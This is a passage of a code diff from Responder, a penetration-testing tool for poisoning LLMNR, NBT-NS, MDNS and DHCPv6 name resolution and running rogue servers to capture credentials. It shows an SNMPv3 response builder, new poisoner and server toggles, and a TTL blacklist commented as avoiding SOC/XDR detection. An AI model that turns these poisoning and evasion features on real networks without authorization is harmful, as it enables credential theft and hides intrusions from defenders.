usm_params.setComponentByPosition(1, univ.Integer(engine_boots))
usm_params.setComponentByPosition(2, univ.Integer(engine_time))
usm_params.setComponentByPosition(3, univ.OctetString('')) # username
usm_params.setComponentByPosition(4, univ.OctetString(hexValue='00' * 12)) # auth params
usm_params.setComponentByPosition(5, univ.OctetString('')) # priv params
# Encode USM params
usm_encoded = encode(usm_params)
from pyasn1.type import tag
# Build Report-PDU with IMPLICIT tagging [8]
# The [8] tag REPLACES the SEQUENCE tag, not wraps it
# VarBind: OID + value
varbind_inner = univ.Sequence()
varbind_inner.setComponentByPosition(0, univ.ObjectIdentifier('1.3.6.1.6.3.15.1.1.4.0'))
varbind_inner.setComponentByPosition(1, univ.Integer(1))
varbind_encoded = encode(varbind_inner)
# VarBindList (SEQUENCE OF)
varbind_list_content = varbind_encoded
varbind_list_bytes = bytes([0x30, len(varbind_list_content)]) + varbind_list_content
# Report-PDU content (without SEQUENCE tag, will use [8] instead)
report_content = b''
# request-id
report_content += encode(univ.Integer(msg_id))
# error-status
report_content += encode(univ.Integer(0))
# error-index
report_content += encode(univ.Integer(0))
# variable-bindings
report_content += varbind_list_bytes
# Tag as [8] IMPLICIT (replaces SEQUENCE tag)
report_pdu_bytes = bytes([0xa8, len(report_content)]) + report_content
# Build scopedPDU as plain SEQUENCE (no [0] tag for plaintext)
# RFC 3412: plaintext msgData is just the ScopedPDU SEQUENCE
scoped_content = b''
# contextEngineID (OCTET STRING)
engine_bytes = bytes.fromhex(engine_id.hex())
scoped_content += bytes([0x04, len(engine_bytes)]) + engine_bytes
# contextName (OCTET STRING, empty)
scoped_content += bytes([0x04, 0x00])
# data (Report-PDU with implicit tag [8])
scoped_content += report_pdu_bytes
# msgData is just a SEQUENCE containing scopedPDU (no [0] tag)
msg_data_bytes = bytes([0x30, len(scoped_content)]) + scoped_content
# Use Any to include raw bytes
msg_data = univ.Any(hexValue=msg_data_bytes.hex())
# Full SNMPv3 message
snmp_msg = univ.Sequence()
snmp_msg.setComponentByPosition(0, univ.Integer(3)) # version snmpv3
snmp_msg.setComponentByPosition(1, global_data)
snmp_msg.setComponentByPosition(2, univ.OctetString(usm_encoded))
snmp_msg.setComponentByPosition(3, msg_data) # msgData with plaintext tag
# Encode and send
response = encode(snmp_msg)
socket.sendto(response, self.client_address)
if settings.Config.Verbose:
print(text('[SNMP] Sent discovery response with engine ID: %s' % engine_id.hex()))
except Exception as e:
if settings.Config.Verbose:
print(text('[SNMP] Error sending discovery response: %s' % str(e)))

View File

@@ -23,7 +23,7 @@ import subprocess
from utils import *
__version__ = 'Responder 3.1.5.0'
__version__ = 'Responder 3.2.0.0'
class Settings:
@@ -117,14 +117,17 @@ class Settings:
# Poisoners
self.LLMNR_On_Off = self.toBool(config.get('Responder Core', 'LLMNR'))
self.NBTNS_On_Off = self.toBool(config.get('Responder Core', 'NBTNS'))
self.NBTNS_On_Off = self.toBool(config.get('Responder Core', 'NBTNS'))
self.MDNS_On_Off = self.toBool(config.get('Responder Core', 'MDNS'))
self.DHCPv6_On_Off = self.toBool(config.get('Responder Core', 'DHCPv6'))
# Servers
# Servers
self.HTTP_On_Off = self.toBool(config.get('Responder Core', 'HTTP'))
self.SSL_On_Off = self.toBool(config.get('Responder Core', 'HTTPS'))
self.SMB_On_Off = self.toBool(config.get('Responder Core', 'SMB'))
self.QUIC_On_Off = self.toBool(config.get('Responder Core', 'QUIC'))
self.SQL_On_Off = self.toBool(config.get('Responder Core', 'SQL'))
self.MYSQL_On_Off = self.toBool(config.get('Responder Core', 'MYSQL'))
self.FTP_On_Off = self.toBool(config.get('Responder Core', 'FTP'))
self.POP_On_Off = self.toBool(config.get('Responder Core', 'POP'))
self.IMAP_On_Off = self.toBool(config.get('Responder Core', 'IMAP'))
@@ -158,6 +161,7 @@ class Settings:
self.NOESS_On_Off = options.NOESS_On_Off
self.WPAD_On_Off = options.WPAD_On_Off
self.DHCP_On_Off = options.DHCP_On_Off
self.DHCPv6_On_Off = options.DHCPv6_On_Off
self.Basic = options.Basic
self.Interface = options.Interface
self.OURIP = options.OURIP
@@ -172,6 +176,8 @@ class Settings:
self.DHCP_DNS = options.DHCP_DNS
self.ExternalIP6 = options.ExternalIP6
self.Quiet_Mode = options.Quiet
self.AnswerName = options.AnswerName
self.ErrorCode = options.ErrorCode
# TTL blacklist. Known to be detected by SOC / XDR
TTL_blacklist = [b"\x00\x00\x00\x1e", b"\x00\x00\x00\x78", b"\x00\x00\x00\xa5"]
@@ -276,6 +282,17 @@ class Settings:
if not os.path.exists(self.Exe_Filename):
print(utils.color("/!\\ Warning: %s: file not found" % self.Exe_Filename, 3, 1))
# DHCPv6 Server Options
try:
self.DHCPv6_Domain = config.get('DHCPv6 Server', 'DHCPv6_Domain')
self.DHCPv6_SendRA = self.toBool(config.get('DHCPv6 Server', 'SendRA'))
self.Bind_To_IPv6 = config.get('DHCPv6 Server', 'BindToIPv6')
except:
# Defaults if section doesn't exist
self.DHCPv6_Domain = ''
self.DHCPv6_SendRA = False
self.Bind_To_IPv6 = ''
# SSL Options
self.SSLKey = config.get('HTTPS Server', 'SSLKey')
self.SSLCert = config.get('HTTPS Server', 'SSLCert')

View File

@@ -28,8 +28,13 @@ import random
try:
import netifaces
except:
sys.exit('You need to install python-netifaces or run Responder with python3...\nTry "apt-get install python-netifaces" or "pip install netifaces"')
sys.exit('You need to install python3-netifaces or run Responder with python3...\nTry "apt-get install python3-netifaces" or "pip install netifaces"')
try:
import aioquic
except:
sys.exit('You need to install aioquic...\nTry "apt-get install python-aioquic" or "pip install aioquic"')
from calendar import timegm
def if_nametoindex2(name):
@@ -480,28 +485,21 @@ def banner():
])
print(banner)
print("\n \033[1;33mNBT-NS, LLMNR & MDNS %s\033[0m" % settings.__version__)
print('')
print(" To support this project:")
print(" Github -> https://github.com/sponsors/lgandx")
print(" Paypal -> https://paypal.me/PythonResponder")
print('')
print(" Author: Laurent Gaffie (laurent.gaffie@gmail.com)")
print(" To kill this script hit CTRL-C")
print('')
def StartupMessage():
enabled = color('[ON]', 2, 1)
disabled = color('[OFF]', 1, 1)
print('')
print(color("[*] ", 2, 1) + 'Sponsor this project: [USDT: TNS8ZhdkeiMCT6BpXnj4qPfWo3HpoACJwv] , [BTC: 15X984Qco6bUxaxiR8AmTnQQ5v1LJ2zpNo]\n')
print(color("[+] ", 2, 1) + "Poisoners:")
print(' %-27s' % "LLMNR" + (enabled if (settings.Config.AnalyzeMode == False and settings.Config.LLMNR_On_Off) else disabled))
print(' %-27s' % "NBT-NS" + (enabled if (settings.Config.AnalyzeMode == False and settings.Config.NBTNS_On_Off) else disabled))
print(' %-27s' % "MDNS" + (enabled if (settings.Config.AnalyzeMode == False and settings.Config.MDNS_On_Off) else disabled))
print(' %-27s' % "DNS" + enabled)
print(' %-27s' % "DHCP" + (enabled if settings.Config.DHCP_On_Off else disabled))
print(' %-27s' % "DHCPv6" + (enabled if settings.Config.DHCPv6_On_Off else disabled))
print('')
print(color("[+] ", 2, 1) + "Servers:")
@@ -574,4 +572,8 @@ def StartupMessage():
print(' %-27s' % "Responder Machine Name" + color('[%s]' % settings.Config.MachineName, 5, 1))
print(' %-27s' % "Responder Domain Name" + color('[%s]' % settings.Config.DomainName, 5, 1))
print(' %-27s' % "Responder DCE-RPC Port " + color('[%s]' % settings.Config.RPCPort, 5, 1))
#credits
print('')
print(color("[*] ", 2, 1)+"Version: "+settings.__version__)
print(color("[*] ", 2, 1)+"Author: Laurent Gaffie, <lgaffie@secorizon.com>")